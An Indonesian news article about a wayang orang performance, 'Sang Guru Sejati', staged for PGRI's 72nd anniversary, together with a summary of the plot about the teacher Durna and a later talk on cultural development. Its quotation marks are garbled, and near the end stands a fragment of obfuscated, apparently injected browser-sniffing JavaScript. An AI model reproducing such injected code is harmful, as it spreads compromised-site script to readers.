Pentas Wayang Orang Peringati HUT PGRI ke-72

Dalam memperingati Ulang Tahun PGRI ke-72 dan Hut Guru Nasional 2017, PGRI Jawa Tengah, dinas Pendidikan Dinas Pendidikan dan Kebudayaan Prov. Jawa Tengah, Universitas PGRI Semarang, Dinas Perumahan Rakyat dan Permukiman Prov. Jawa Tengah, Dinas Peternakan Prov. Jawa Tengah, ISI Surakarta, DISPORAPAR Jawa Tengah, WO Ngesthi Pandhawa menyelenggarakan Pagelaran Wayang Wong dengan lakon ai???Sang Guru Sejatiai???. Pementasan diselenggarakan di Balairung (27/11) melibatkan Rektor UPGRIS, Dr. Muhdi, S.H.MHum., Prof. DYP. DYP Sugiharto, Koordinator Kopertis VI Jateng, Dr. Sudharta, MA., Tetua Yayasan PT PGRI Semarang dan pejabat dilingkungan UPGRIS, Dinas pendidikan sebagai pelakon.
Pagelaran wayang ini menceritakan seorang guru Durna Bambang Kumbayana (Durna Muda) adalah sahabat karib Raden Drupada pada waktu keduanya sama-sama menuntut ilmu di sebuah lembaga pendidikan di kerajaan Atas Angin. Ketika Raden Drupada menjadi raja di Pancala Kumbayana bermaksud menemuinya dengan mengabaikan ketentuan protokoler yang lazim. Prabu Drupada tidak berkenan atas cara tersebut . Kenangan membanggakan atas persahabatan antara keduanya hilang tanpa bekas. Prabu Drupada memerintahkan Patih Gandamana agar Kumbayana diberi sanksi yang setimpal. Kekerasan pun menimpa Kumbayana. Akibatnya Kumbayana menjadi cacat .Tanpa menyimpan dendam sedikitpun Kumbayana menuju ke tepi bengawan Silugangga dan mendirikan sebuah padepokan serta bergelar Pendita Durna.
Mendengar berita keturunan raja Hastina (Kurawa dan Pandawa ) tidak rukun Pendita Durna melamar menjadi guru. Kurawa menolak dengan semena-mena karena pendita Durna cacat. Patih Sengkuni langsung mengusirnya. Prabu Destarastra marah. Memerintahkan agar Sengkuni mencarinya sampai ketemu. Akhirnya Destarastra mengangkat Pendita Durna menjadi guru dan menghadiahkan tanah perdikan Sokalima dengan segala fasilitasnya dan berdirilah Padepokan Sokalima tempat Kurawa dan Pandawa berguru.
Suatu saat ketika Sokalima sudah menjadi besar Pendita Durna timbul niat untuk member pelajaran kepada Prabu Drupada. Diperintahkan Kurawa dan Pandawa menangkap Prabu Drupada dan Patih Gandamana untuk dihadapkan kepada Pendita Durna.
Niat Sang Durna berhasil. Setelah raja dan patihnya berada didepan matanya Pendita Durna serta merta merangkul mereka dan memperlakukan Prabu Drupada dan Patih Gandamana dengan baik dan terhormat. Itulah guru sejati.
Setelah acara pagelaran wayang diselenggarakan saresean yang menghadirkan Prie GS dan Prof. DYP. Sugiharto sebagai pembicara. Prie GS dalam presentasinya menunjukkan foto banjir kanal barat setelah dibangun. Setalah itu Prie GS menunjukkan foto setelah tiga bulan sunngai itu dibangun. Disana terlihat ada orang sedang buang air. ai???Intinya apa, pembangunan fisik penting tetapi pembangunan kultur lebih penting. Pembangunan fisik tidak ada artinya tanpa pembangunan kultur.ai???
Prof. DYP. Sugiharto juga membahas tentang pentingnya pembangunan kultur. Di luar negeri apabila ada perguruan tinggi maju atau mahasiswa berprestasi maka yang ditanyakan adalah siapa dosennya. []
fdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply